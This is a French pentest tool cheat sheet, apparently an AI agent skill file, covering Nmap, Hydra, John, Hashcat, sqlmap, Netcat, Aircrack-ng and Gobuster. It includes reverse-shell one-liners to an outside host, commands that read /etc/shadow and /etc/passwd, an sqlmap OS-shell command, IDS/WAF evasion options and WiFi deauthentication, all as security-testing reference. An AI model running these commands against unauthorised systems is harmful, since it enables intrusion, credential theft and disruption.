outils-pentest

name	outils-pentest
description	Guide complet des outils de test d'intrusion — Nmap, Burp Suite, Hydra, John the Ripper, sqlmap, Nikto, Netcat, Hashcat, Aircrack-ng. Commandes, workflows, et antisèches.

Outils de Pentest — Guide Complet

---

1. Nmap — Scanner de réseau

Types de scan

# Scan SYN (furtif, par défaut avec privilèges root)
nmap -sS 192.168.1.1

# Scan TCP connect (complet, sans privilèges root)
nmap -sT 192.168.1.1

# Scan UDP
nmap -sU 192.168.1.1

# Scan Ping (découverte d'hôtes)
nmap -sn 192.168.1.0/24

# Scan agressif (OS, versions, scripts)
nmap -A 192.168.1.1

# Scan complet (tous les ports TCP)
nmap -p- 192.168.1.1

Détection OS et services

# Détection OS
nmap -O 192.168.1.1

# Détection des versions de services
nmap -sV 192.168.1.1

# Détection OS + versions + scripts par défaut
nmap -A 192.168.1.1

# Scan des 1000 ports les plus courants + versions
nmap -sV --version-intensity 5 192.168.1.1

Spécification de ports

# Port unique
nmap -p 80 192.168.1.1

# Plusieurs ports
nmap -p 80,443,8080 192.168.1.1

# Plage de ports
nmap -p 1-1000 192.168.1.1

# Tous les ports (65535)
nmap -p- 192.168.1.1

# Top N ports
nmap --top-ports 100 192.168.1.1

Scripts NSE (Nmap Scripting Engine)

# Scripts par défaut (-sC)
nmap -sC 192.168.1.1

# Catégorie de scripts
nmap --script=vuln 192.168.1.1              # Vulnérabilités
nmap --script=discovery 192.168.1.0/24      # Découverte
nmap --script=auth 192.168.1.1              # Authentification
nmap --script=malware 192.168.1.1           # Malware
nmap --script=safe 192.168.1.1              # Scripts non-intrusifs
nmap --script=smb* 192.168.1.1              # Tous les scripts SMB

# Mise à jour des scripts
nmap --script-updatedb

Évasion de pare-feu / IDS

# Fragmentation de paquets
nmap -f 192.168.1.1

# Leurres (decoys)
nmap -D RND:10 192.168.1.1

# Usurpation d'adresse source
nmap -S 10.0.0.1 192.168.1.1

# Port source spécifique (contournement ACL)
nmap --source-port 53 192.168.1.1

# Timing agressif (T0=parano à T5=insane)
nmap -T4 192.168.1.1

# Scan furtif (fragmentation + délais)
nmap -f --mtu 16 --data-length 50 -T2 192.168.1.1

Formats de sortie

nmap -oN scan.txt 192.168.1.1         # Format normal
nmap -oX scan.xml 192.168.1.1         # Format XML
nmap -oG scan.gnmap 192.168.1.1       # Format grepable
nmap -oA scan 192.168.1.1             # Tous les formats
nmap -oN - 192.168.1.1                # Sortie stdout

---

2. Burp Suite — Test d'applications web

Composants principaux

Composant	Usage
Proxy	Intercepter et modifier le trafic HTTP/HTTPS
Repeater	Renvoyer des requêtes modifiées manuellement
Intruder	Automatiser des attaques (bruteforce, fuzzing)
Decoder	Encoder/décoder (URL, Base64, Hex, etc.)
Comparer	Comparer deux réponses (diff visuel)
Sequencer	Analyser la qualité des tokens de session
Scanner (Pro)	Scan automatique de vulnérabilités

Configuration du proxy

1. Proxy → Options → Listener : 127.0.0.1:8080
2. Configurer le navigateur → proxy HTTP : 127.0.0.1:8080
3. Installer le certificat CA de Burp pour HTTPS :
   → http://burpsuite → télécharger CA Certificate
   → Importer dans le navigateur comme autorité de confiance

Workflow typique

1. Proxy → Intercept ON → naviguer sur le site
2. Capturer les requêtes intéressantes → clic droit → Send to Repeater
3. Dans Repeater → modifier les paramètres → Send → analyser la réponse
4. Pour le bruteforce → Send to Intruder → configurer les positions
5. Attaque terminée → analyser les résultats (longueur, statut, etc.)

Intruder — types d'attaque

• Sniper — Une seule position, une seule wordlist
• Battering ram — Même valeur injectée à toutes les positions
• Pitchfork — Une wordlist par position (parallèle)
• Cluster bomb — Toutes les combinaisons de wordlists

Raccourcis clavier

Ctrl+R        Envoyer vers Repeater
Ctrl+I        Envoyer vers Intruder
Ctrl+Shift+S  Envoyer vers Scanner (Pro)
Ctrl+Shift+D  Envoyer vers Decoder

---

3. Hydra — Bruteforce de services réseau

Syntaxe de base

hydra -l <user> -P <wordlist> <cible> <protocole>
hydra -L <userlist> -p <password> <cible> <protocole>
hydra -L <userlist> -P <wordlist> <cible> <protocole>

Protocoles supportés

# SSH
hydra -l root -P rockyou.txt 192.168.1.1 ssh

# FTP
hydra -L users.txt -P passwords.txt 192.168.1.1 ftp

# HTTP POST (formulaire)
hydra -l admin -P wordlist.txt 192.168.1.1 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=Incorrect"

# HTTP GET Basic Auth
hydra -l admin -P wordlist.txt 192.168.1.1 http-get /protected

# RDP
hydra -l administrator -P wordlist.txt 192.168.1.1 rdp

# MySQL
hydra -l root -P wordlist.txt 192.168.1.1 mysql

# SMB
hydra -l admin -P wordlist.txt 192.168.1.1 smb

# Telnet
hydra -l root -P wordlist.txt 192.168.1.1 telnet

# Attaque sur plusieurs cibles
hydra -L users.txt -P rockyou.txt -M targets.txt ssh

Options utiles

-t 4             # Tâches parallèles (défaut: 16)
-s 2222          # Port personnalisé
-V               # Mode verbeux (affiche chaque tentative)
-vV              # Mode très verbeux (affiche login + mot de passe)
-f               # S'arrêter au premier succès
-o resultat.txt  # Sauvegarder les résultats
-w 5             # Timeout de connexion (secondes)

---

4. John the Ripper — Cracking de mots de passe

Modes de base

# Mode simple (varie le nom d'utilisateur)
john --single hash.txt

# Mode dictionnaire (wordlist)
john --wordlist=rockyou.txt hash.txt

# Mode incrémental (bruteforce)
john --incremental hash.txt

Formats de hash

# Lister les formats supportés
john --list=formats

# Spécifier le format
john --format=raw-md5 hash.txt
john --format=raw-sha256 hash.txt
john --format=NT hash.txt            # Hash Windows NTLM
john --format=krb5tgs hash.txt       # Ticket Kerberos TGS
john --format=zip hash.zip           # Fichier ZIP protégé
john --format=rar hash.rar           # Fichier RAR protégé
john --format=pdf hash.pdf           # Fichier PDF protégé

Préparation des hashes

# Extraire les hashes d'un fichier /etc/shadow
unshadow /etc/passwd /etc/shadow > hashes.txt

# Extraire les hashes d'un ZIP
zip2john archive.zip > zip.hash

# Extraire les hashes d'un RAR
rar2john archive.rar > rar.hash

# Extraire le hash d'une clé privée SSH
ssh2john id_rsa > ssh.hash

# Extraire le hash d'un PDF
pdf2john document.pdf > pdf.hash

# Extraire le hash d'un keepass
keepass2john database.kdbx > keepass.hash

Gestion des sessions

john --show hash.txt          # Afficher les mots de passe trouvés
john --restore                # Reprendre une session interrompue
john --status                 # Statut de la session en cours

Règles de mutation

# Appliquer des règles de transformation
john --wordlist=rockyou.txt --rules hash.txt

# Règles courantes intégrées
john --wordlist=rockyou.txt --rules=best64 hash.txt
john --wordlist=rockyou.txt --rules=KoreLogic hash.txt

---

5. Hashcat — Cracking GPU haute performance

Mode attaque

# Attaque par dictionnaire (mode 0, défaut)
hashcat -m 0 -a 0 hash.txt rockyou.txt

# Attaque par combinaison (mode 1)
hashcat -m 0 -a 1 hash.txt dict1.txt dict2.txt

# Attaque par masque (mode 3)
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?d?d   # 4 lettres + 2 chiffres

# Attaque hybride (mode 6)
hashcat -m 0 -a 6 hash.txt rockyou.txt ?d?d?d

Types de hash (-m)

0      MD5
100    SHA1
1400   SHA2-256
1700   SHA2-512
1000   NTLM (Windows)
3000   LM (Windows)
3200   bcrypt
1800   sha512crypt (Linux /etc/shadow)
13100  Kerberos 5 TGS-REP etype 23
18200  Kerberos 5 AS-REP etype 23
22000  WPA-PBKDF2-PMKID+EAPOL
11600  ZIP (WinZip)

Masques (?)

?l = minuscule (a-z)
?u = majuscule (A-Z)
?d = chiffre (0-9)
?s = caractère spécial
?a = tout caractère imprimable
?b = octet brut (0x00-0xff)
?h = hexadécimal minuscule (0-9, a-f)
?H = hexadécimal majuscule (0-9, A-F)

Conseils de performance

# Afficher les devices disponibles
hashcat -I

# Forcer l'utilisation du GPU
hashcat -m 0 -a 0 -d 1 hash.txt dict.txt

# Optimiser la charge de travail
hashcat -m 0 -a 0 -w 3 hash.txt dict.txt   # -w 1 à 4 (1=faible, 4=insane)

# Afficher la progression
hashcat -m 0 -a 0 --status hash.txt dict.txt

# Restaurer une session
hashcat --session=monjob --restore

---

6. sqlmap — Injection SQL automatisée

Commandes essentielles

# Test basique
sqlmap -u "http://cible.com/page.php?id=1"

# Avec cookies de session
sqlmap -u "http://cible.com/page.php?id=1" --cookie="PHPSESSID=xxx"

# POST request (capturée via Burp)
sqlmap -r requete.txt

# Enumération des bases de données
sqlmap -u "http://cible.com/page.php?id=1" --dbs

# Lister les tables d'une base
sqlmap -u "http://cible.com/page.php?id=1" -D nom_base --tables

# Extraire les colonnes d'une table
sqlmap -u "http://cible.com/page.php?id=1" -D nom_base -T users --columns

# Dumper les données
sqlmap -u "http://cible.com/page.php?id=1" -D nom_base -T users --dump

# Attaque OS shell (si privilèges suffisants)
sqlmap -u "http://cible.com/page.php?id=1" --os-shell

# Lecture de fichiers
sqlmap -u "http://cible.com/page.php?id=1" --file-read=/etc/passwd

Optimisation et évasion

# Détecter le SGBD
sqlmap -u "http://cible.com/page.php?id=1" --fingerprint

# Niveau de risque (1-3) et intensité (1-5)
sqlmap -u "..." --level=5 --risk=3

# Tamper scripts (contournement WAF)
sqlmap -u "..." --tamper=space2comment
sqlmap -u "..." --tamper=between,randomcase,charencode

# Lister les tamper scripts
sqlmap --list-tampers

# Batch mode (pas de questions)
sqlmap -u "..." --batch

---

7. Nikto — Scanner de vulnérabilités web

# Scan de base
nikto -h http://cible.com

# Scan avec port personnalisé
nikto -h http://cible.com -p 8080

# Scan SSL
nikto -h https://cible.com -ssl

# Avec authentification HTTP
nikto -h http://cible.com -id admin:password

# Scan + sortie dans un fichier
nikto -h http://cible.com -o scan.html -Format html

# Réglage du timing
nikto -h http://cible.com -Tuning 1      # Fichiers intéressants
nikto -h http://cible.com -Tuning 9      # Tous les tests

# Mise à jour de la base
nikto -update

---

8. Netcat — Le couteau suisse TCP/UDP

# Écouter sur un port (serveur)
nc -lvp 4444

# Se connecter à un port
nc 192.168.1.10 4444

# Transfert de fichier
# Récepteur :
nc -lvp 4444 > fichier_recu.txt
# Émetteur :
nc 192.168.1.5 4444 < fichier.txt

# Reverse shell
# Attaquant (écoute) :
nc -lvp 4444
# Cible (connexion) :
nc -e /bin/bash 10.0.0.1 4444
# Alternative sans -e :
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# Bind shell
# Cible :
nc -lvp 4444 -e /bin/bash
# Attaquant :
nc 192.168.1.10 4444

# Scan de ports simple
nc -zv 192.168.1.10 1-1000 2>&1 | grep succeeded

# Bannière grabbing
echo "" | nc -w 2 192.168.1.10 80

---

9. Aircrack-ng — Audits WiFi

# Passer la carte en mode monitor
airmon-ng start wlan0

# Scanner les réseaux WiFi
airodump-ng wlan0mon

# Capturer le handshake (sur un réseau spécifique)
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Déauthentifier un client (forcer le handshake)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# Cracker WPA/WPA2
aircrack-ng -w rockyou.txt capture-01.cap

# Attaque PMKID (plus récente, plus rapide)
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
hcxpcapngtool -o hash.22000 capture.pcapng
hashcat -m 22000 hash.22000 rockyou.txt

---

10. Gobuster / Dirb — Énumération de répertoires

# Gobuster (plus rapide, multi-thread)
gobuster dir -u http://cible.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://cible.com -w wordlist.txt -x php,html,txt,js
gobuster dir -u http://cible.com -w wordlist.txt -t 50    # 50 threads

# Gobuster DNS (sous-domaines)
gobuster dns -d cible.com -w /usr/share/wordlists/subdomains.txt

# DIRB (classique)
dirb http://cible.com
dirb http://cible.com /usr/share/wordlists/dirb/big.txt

# FFUF (fuzzing rapide)
ffuf -u http://cible.com/FUZZ -w wordlist.txt
ffuf -u http://cible.com/FUZZ -w wordlist.txt -e .php,.html,.bak

---

Antisèche rapide — Workflow pentest typique

# 1. RECONNAISSANCE
nmap -sV -sC -O -oA scan cible.com
gobuster dir -u http://cible.com -w common.txt
nikto -h http://cible.com

# 2. WEB (si applicable)
# → Burp Suite : intercepter, analyser, fuzzer
# → sqlmap -u "http://cible.com/page.php?id=1" --dbs

# 3. BRUTEFORCE (si nécessaire)
hydra -L users.txt -P rockyou.txt cible.com ssh

# 4. CRACKING DE HASH
# John : john --wordlist=rockyou.txt hash.txt
# Hashcat : hashcat -m 0 -a 0 hash.txt rockyou.txt

# 5. EXPLOITATION
# Voir skill metasploit pour msfconsole

# 6. POST-EXPLOITATION
# nc -lvp 4444   (écouter un reverse shell)
# tshark -r capture.pcap -Y "http"   (analyse réseau)

Ressources

• Kali Linux — https://www.kali.org/tools/
• OWASP Testing Guide — https://owasp.org/www-project-web-security-testing-guide/
• PayloadsAllTheThings — https://github.com/swisskyrepo/PayloadsAllTheThings
• HackTricks — https://book.hacktricks.xyz
• GTFOBins — https://gtfobins.github.io/ (contournement de restrictions Linux)